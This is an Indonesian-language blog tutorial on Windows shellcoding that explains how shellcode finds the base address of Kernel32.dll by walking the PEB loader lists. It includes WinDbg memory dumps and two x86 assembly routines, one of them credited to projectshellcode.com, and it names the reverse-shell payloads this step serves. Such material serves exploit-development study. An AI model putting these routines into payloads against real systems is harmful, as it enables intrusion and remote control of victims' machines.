Finding Kernel32.dll

Dalam dunia shellcoding dengan target sistem operasi windows, metode menemukan lokasi Kernel32.dll umumnya menggunakan algoritma yang sama. Perbedaan terdapat dalam implementasinya saja.

Yang biasanya menjadi pertanyaan adalah untuk apa suatu shellcode menemukan lokasi Kernel32.dll?! Untuk mempermudah maka kita akan melihat kembali hal-hal yang biasanya ingin dicapai oleh suatu shellcode. Kita tahu bahwa shellcode merupakan deretan kode-kode yang diharapkan akan dieksekusi oleh target setelah proses eksploitasi berhasil, pada tahap ini biasanya disebut ‘after code execution is gained’. Dengan menggunakan shellcode, seorang penyerang akan membuat target melakukan beragam operasi sesuai yang di inginkan oleh penyerang. Ambil contoh reverse shell seperti dalam artikel sebelumnya.

Untuk membuat reverse shell maka dibutuhkan beberapa fungsi untuk dieksekusi oleh sistem operasi berbasis Microsoft Windows, diantaranya:

1. WSAStartup(): Digunakan untuk inisialisasi aplikasi yang akan menggunakan fasilitas komunikasi data via TCP/IP.
2. WSASocketA(): Digunakan untuk membuat socket baru.
3. connect(): Digunakan untuk membuka koneksi ke mesin penyerang.
4. CreateProcessA(): Digunakan untuk mengesekusi proses cmd.exe (cmd) dan di-redirect menuju file descriptor dari fungsi connect()

Fungsi-fungsi diatas merupakan fungsi yang di-export oleh library ws2_32.dll, untuk dapat memanfaatkan fungsi-fungsi diatas maka shellcode perlu melakukan load library menggunakan fungsi LoadLibraryA(). Fungsi LoadLibraryA() merupakan fungsi yang di-export oleh Kernel32.dll, nah pada titik inilah alasan mengapa shellcode umumnya akan membutuhkan lokasi dari Kernel32.dll. Setiap versi windows khususnya sebelum versi windows vista (win9x – win2003) akan me-load beragam library pada saat booting ke suatu lokasi memory, namun lokasi memory ini akan berbeda-beda untuk setiap service pack, setiap language version (mis: english version, korean version, dsb).

The Algorithm

Namun satu hal yang pasti adalah Kernel32.dll akan selalu dibutuhkan oleh setiap aplikasi yang berjalan diatas sistem operasi Microsoft Windows. Ambil contoh ketika seseorang menjalankan aplikasi calc.exe pada windows, maka ketika aplikasi calc.exe tersebut dijalankan, aplikasi calc.exe akan mereferensikan lokasi Kernel32.dll pada suatu tempat. Tempat itu disebut PEB (Process Environment Block). Ketika suatu aplikasi memiliki bugs dalam bagian kodenya, maka shellcode yang dimasukan oleh penyerang dapat membaca isi dari PEB. Yang perlu dilakukan oleh shellcode adalah berjalan dari PEB menuju lokasi yang di referensikan untuk mencari alamat memory Kernel32.dll yang di-load oleh windows ketika booting.

Berikut ini bentuk algoritma untuk mencari lokasi Kernel32.dll:

1. Mencari lokasi PEB
2. Mencari lokasi PEB->Ldr
3. Mencari lokasi data yang di-load, dalam hal ini mencari lokasi Kernel32.dll

Berikut ini salah satu bentuk contoh implementasi assembly-nya,


mov ebx, [fs:edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in the initialisation order
; list
mov ecx, [ecx] ; ecx = second entry in list (Kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll


0:000> d FS:00000030
003b:00000030 00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040 80 ad 3d e2 00 00 00 00-00 00 00 00 00 00 00 00 ..=.............
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:000000a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

FS:00000030 merupakan lokasi dari PEB (Process Environment Block). Seperti yang terlihat pada lokasi memory diatas, [FS + 0x30] berisi 0x7ffd8000. 0x7ffd8000 adalah lokasi PEB. Berikut ini contoh PEB,

0:000> !peb
PEB at 7ffd8000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 00400000
Ldr 00241ea0
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 00241f58 . 00242260
Ldr.InLoadOrderModuleList: 00241ee0 . 00242250
Ldr.InMemoryOrderModuleList: 00241ee8 . 00242258
Base TimeStamp Module
400000 4db464f5 Apr 25 00:59:17 2011 C:\cygwin\home\Administrator\shellcode\shellcodetest.exe
7c900000 4802a12c Apr 14 07:11:24 2008 C:\WINDOWS\system32\ntdll.dll
7c800000 4802a12c Apr 14 07:11:24 2008 C:\WINDOWS\system32\kernel32.dll
7e410000 4802a11b Apr 14 07:11:07 2008 C:\WINDOWS\system32\USER32.DLL
77f10000 4802a0be Apr 14 07:09:34 2008 C:\WINDOWS\system32\GDI32.dll
73d90000 3b7dfe24 Aug 18 12:33:24 2001 C:\WINDOWS\system32\CRTDLL.DLL
SubSystemData: 00000000
ProcessHeap: 00140000
ProcessParameters: 00020000
WindowTitle: 'C:\cygwin\home\Administrator\shellcode\shellcodetest.exe'
ImageFile: 'C:\cygwin\home\Administrator\shellcode\shellcodetest.exe'
CommandLine: 'C:\cygwin\home\Administrator\shellcode\shellcodetest.exe'
DllPath: 'C:\cygwin\home\Administrator\shellcode;C:\WINDOWS\system32;C:\WINDOWS\system;C:\WINDOWS;.;C:\devel\windbg\winext\arcade;C:\Program Files\Parallels\Parallels Tools\Applications;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\IDM Computer Solutions\UltraEdit\;C:\devel\python27;C:\devel\lcc\bin;C:\devel\nasm'
Environment: 00010000
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\Administrator\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=GRINDELWALD2908
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\Administrator
LOGONSERVER=\\GRINDELWALD2908
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Path=C:\devel\windbg\winext\arcade;C:\Program Files\Parallels\Parallels Tools\Applications;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\IDM Computer Solutions\UltraEdit\;C:\devel\python27;C:\devel\lcc\bin;C:\devel\nasm
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 23 Stepping 10, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=170a
ProgramFiles=C:\Program Files
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
USERDOMAIN=GRINDELWALD2908
USERNAME=Administrator
USERPROFILE=C:\Documents and Settings\Administrator
WINDBG_DIR=C:\devel\windbg
windir=C:\WINDOWS

Bentuk diatas adalah bentuk yang sudah diformat oleh windbg sehingga mudah untuk dibaca, bentuk diatas mengambil dari ‘raw data’ dari proses yang berjalan. Berikut ini contoh ‘raw data’ tersebut,


0:000> d 7ffd8000
7ffd8000 00 00 01 00 ff ff ff ff-00 00 40 00 a0 1e 24 00 ..........@...$.
7ffd8010 00 00 02 00 00 00 00 00-00 00 14 00 00 d6 97 7c ...............|
7ffd8020 00 10 90 7c e0 10 90 7c-01 00 00 00 70 29 41 7e ...|...|....p)A~
7ffd8030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
7ffd8040 c0 d5 97 7c 03 00 00 00-00 00 00 00 00 00 6f 7f ...|..........o.
7ffd8050 00 00 6f 7f 88 06 6f 7f-00 00 fb 7f 00 10 fc 7f ..o...o.........
7ffd8060 00 20 fd 7f 01 00 00 00-70 00 00 00 00 00 00 00 . ......p.......
7ffd8070 00 80 9b 07 6d e8 ff ff-00 00 10 00 00 20 00 00 ....m........ ..

Bisa kita lihat bahwa bentuk pertama merupakan interpretasi dari bentuk ‘raw’ diatas agar lebih mudah dibaca dan lebih informatif. Selanjutnya yang akan kita lihat adalah [PEB + 0x0c] berisi 0x00241ea0. 0x00241ea0 merupakan pointer yang menunjuk lokasi dari PEB->Ldr (informasi detail mengenai struktur PEB tidak akan dibahas disini). Kita dapat melihat isi memory yang ditunjuk oleh 0x00241ea0 seperti berikut ini,


0:000> d 00241ea0
00241ea0 28 00 00 00 01 f0 ad ba-00 00 00 00 e0 1e 24 00 (.............$.
00241eb0 50 22 24 00 e8 1e 24 00-58 22 24 00 58 1f 24 00 P"$...$.X"$.X.$.
00241ec0 60 22 24 00 00 00 00 00-ab ab ab ab ab ab ab ab `"$.............
00241ed0 00 00 00 00 00 00 00 00-0d 00 08 00 cd 07 18 00 ................
00241ee0 48 1f 24 00 ac 1e 24 00-50 1f 24 00 b4 1e 24 00 H.$...$.P.$...$.
00241ef0 00 00 00 00 00 00 00 00-00 00 40 00 25 12 40 00 ..........@.%.@.
00241f00 00 60 00 00 70 00 72 00-30 07 02 00 22 00 24 00 .`..p.r.0...".$.
00241f10 7e 07 02 00 00 50 00 00-ff ff 00 00 f0 b2 97 7c ~....P.........|

Selanjutnya adalah mencari pointer modul pertama dari list Ldr->InMemoryOrder, pointer tersebut terletak pada offset 0x1c dari Ldr, yaitu [0x00241ea0 + 0x1c] = [0x00241ebc]. Isi dari lokasi memory [0x00241ebc] dapat dilihat diatas, yaitu 0x00241f58.

Hasil dump lokasi 0x00241f58 menunjukan hasil sebagai berikut,


0:000> d 00241f58
00241f58 20 20 24 00 bc 1e 24 00-00 00 90 7c 28 2c 91 7c $...$....|(,.|
00241f68 00 f0 0a 00 3a 00 08 02-28 d0 97 7c 12 00 14 00 ....:...(..|....

Dan apabila kita melakukan dump beberapa offset setelah akan terlihat struktur dari modul-modul yang di-load dan disimpan dalam PEB,


0:000> d 00241f58
00241f58 20 20 24 00 bc 1e 24 00-00 00 90 7c 28 2c 91 7c $...$....|(,.|
00241f68 00 f0 0a 00 3a 00 08 02-28 d0 97 7c 12 00 14 00 ....:...(..|....
00241f78 58 21 92 7c 04 40 08 80-ff ff 00 00 c8 b2 97 7c X!.|.@.........|
00241f88 c8 b2 97 7c 2c a1 02 48-00 00 00 00 00 00 00 00 ...|,..H........
00241f98 ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 00 ................
00241fa8 0c 00 0d 00 e3 07 1e 00-43 00 3a 00 5c 00 57 00 ........C.:.\.W.
00241fb8 49 00 4e 00 44 00 4f 00-57 00 53 00 5c 00 73 00 I.N.D.O.W.S.\.s.
00241fc8 79 00 73 00 74 00 65 00-6d 00 33 00 32 00 5c 00 y.s.t.e.m.3.2.\.
0:000> d
00241fd8 6b 00 65 00 72 00 6e 00-65 00 6c 00 33 00 32 00 k.e.r.n.e.l.3.2.
00241fe8 2e 00 64 00 6c 00 6c 00-00 00 ab ab ab ab ab ab ..d.l.l.........
00241ff8 ab ab ee fe ee fe ee fe-00 00 00 00 00 00 00 00 ................
00242008 0d 00 0c 00 17 07 18 00-d0 20 24 00 48 1f 24 00 ......... $.H.$.
00242018 d8 20 24 00 50 1f 24 00-a0 21 24 00 58 1f 24 00 . $.P.$..!$.X.$.
00242028 00 00 80 7c 3e b6 80 7c-00 60 0f 00 40 00 42 00 ...|>..|.`..@.B.
00242038 b0 1f 24 00 18 00 1a 00-d8 1f 24 00 04 40 08 80 ..$.......$..@..
00242048 ff ff 00 00 b0 b2 97 7c-b0 b2 97 7c 2c a1 02 48 .......|...|,..H
0:000> d
00242058 00 00 00 00 00 00 00 00-ab ab ab ab ab ab ab ab ................
00242068 00 00 00 00 00 00 00 00-0b 00 0d 00 18 07 1a 00 ................
00242078 43 00 3a 00 5c 00 57 00-49 00 4e 00 44 00 4f 00 C.:.\.W.I.N.D.O.
00242088 57 00 53 00 5c 00 73 00-79 00 73 00 74 00 65 00 W.S.\.s.y.s.t.e.
00242098 6d 00 33 00 32 00 5c 00-55 00 53 00 45 00 52 00 m.3.2.\.U.S.E.R.
002420a8 33 00 32 00 2e 00 44 00-4c 00 4c 00 00 00 ab ab 3.2...D.L.L.....
002420b8 ab ab ab ab ab ab ee fe-00 00 00 00 00 00 00 00 ................
002420c8 0d 00 0b 00 0f 07 18 00-90 21 24 00 10 20 24 00 .........!$.. $.
0:000> d
002420d8 98 21 24 00 18 20 24 00-60 22 24 00 a0 21 24 00 .!$.. $.`"$..!$.
002420e8 00 00 41 7e 17 b2 41 7e-00 10 09 00 3c 00 3e 00 ..A~..A~.....
002420f8 78 20 24 00 14 00 16 00-a0 20 24 00 06 40 0c 80 x $...... $..@..
00242108 ff ff 00 00 00 b3 97 7c-00 b3 97 7c 1b a1 02 48 .......|...|...H
00242118 00 00 00 00 00 00 00 00-ab ab ab ab ab ab ab ab ................
00242128 00 00 00 00 00 00 00 00-0b 00 0d 00 30 07 1c 00 ............0...
00242138 43 00 3a 00 5c 00 57 00-49 00 4e 00 44 00 4f 00 C.:.\.W.I.N.D.O.
00242148 57 00 53 00 5c 00 73 00-79 00 73 00 74 00 65 00 W.S.\.s.y.s.t.e.
0:000> d
00242158 6d 00 33 00 32 00 5c 00-47 00 44 00 49 00 33 00 m.3.2.\.G.D.I.3.
00242168 32 00 2e 00 64 00 6c 00-6c 00 00 00 ab ab ab ab 2...d.l.l.......
00242178 ab ab ab ab ee fe ee fe-00 00 00 00 00 00 00 00 ................
00242188 0d 00 0b 00 27 07 18 00-50 22 24 00 d0 20 24 00 ....'...P"$.. $.
00242198 58 22 24 00 d8 20 24 00-e0 20 24 00 20 20 24 00 X"$.. $.. $. $.
002421a8 00 00 f1 77 87 65 f1 77-00 90 04 00 3a 00 3c 00 ...w.e.w....:. d
002421d8 00 00 00 00 00 00 00 00-ab ab ab ab ab ab ab ab ................
002421e8 00 00 00 00 00 00 00 00-0b 00 0d 00 28 07 1a 00 ............(...
002421f8 43 00 3a 00 5c 00 57 00-49 00 4e 00 44 00 4f 00 C.:.\.W.I.N.D.O.
00242208 57 00 53 00 5c 00 73 00-79 00 73 00 74 00 65 00 W.S.\.s.y.s.t.e.
00242218 6d 00 33 00 32 00 5c 00-43 00 52 00 54 00 44 00 m.3.2.\.C.R.T.D.
00242228 4c 00 4c 00 2e 00 44 00-4c 00 4c 00 00 00 ab ab L.L...D.L.L.....
00242238 ab ab ab ab ab ab ee fe-00 00 00 00 00 00 00 00 ................
00242248 0d 00 0b 00 5f 07 18 00-ac 1e 24 00 90 21 24 00 ...._.....$..!$.

Jika kita lihat beberapa offset didekat 0x00241f58, maka terlihat jelas bahwa ada deretan karakter ASCII yang menunjuk C:\windows\system32\kernel32.dll. Dan isi dari 0x00241f58 adalah 0x00242020, menunjukan lokasi pointer yang menunjuk alamat memory modul kernel32.dll (dalam unicode string). Jika kita dump lokasi tersebut,


0:000> d 00242020
00242020 a0 21 24 00 58 1f 24 00-00 00 80 7c 3e b6 80 7c .!$.X.$....|>..|

[0x002420 + 0x08] adalah lokasi yang dimaksud, sehingga alamat memory dari kernel32.dll adalah 0x7c800000.

Tentu saja algoritma diatas merupakan hasil reverse engineering bertahun-tahun dan menjadi public knowledge. Untuk dapat memahami lebih detail dapat membaca buku Windows Internals.

Hal yang layak menjadi perhatian juga implementasi dari algoritma diatas, berikut ini contoh implementasi yang berbeda untuk mencari lokasi kernel32.dll, perbedaan implementasi umumnya akan berdampak pada size dari shellcode. Contoh berikut ini didapatkan dari projectshellcode.com dimana terdapat proses checking apakah target merupakan microsoft windows 9x atau win nt.


;FUNCTION: find_kernel32

find_kernel32:
push esi ; Save ESI register into stack
xor eax, eax ; Zeroed the value of EAX
mov eax, [fs:eax+0x30] ; Move content of memory address [FS:0x30] to EAX
test eax, eax ; Test the content of EAX, the result will affect SF (Sign Flag)
js find_kernel32_9x ; If the content of SF from comparison above is zero, then jump to
; function to find Kernel32.dll for Windows 9x, otherwise jump is not taken
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c] ; Move the content of memory [EAX + 0x1C] into ESI
lodsd ; similar to => mov eax, dword [DS:ESI], thus moving the DWORD content of
; memory address pointed by ESI register into EAX.
mov eax, [eax + 0x8] ; Move into EAX the content of address pointed by [EAX+0x8]. This will
; put address of Kernel32.dll on Windows NT (i.e Windows XP) onto EAX
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret

;END FUNCTION: find_kernel32

Sebagai perbandingan, implementasi diatas menggunakan register ESI, EAX, dan opcode LODSD untuk membaca isi lokasi memory (DWORD). Tentu saja setiap programmer memiliki trik-nya masing-masing dalam hal implementasi, dan perbedaan trik tersebut akan berpengaruh pada ukuran shellcode.

Cheers.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s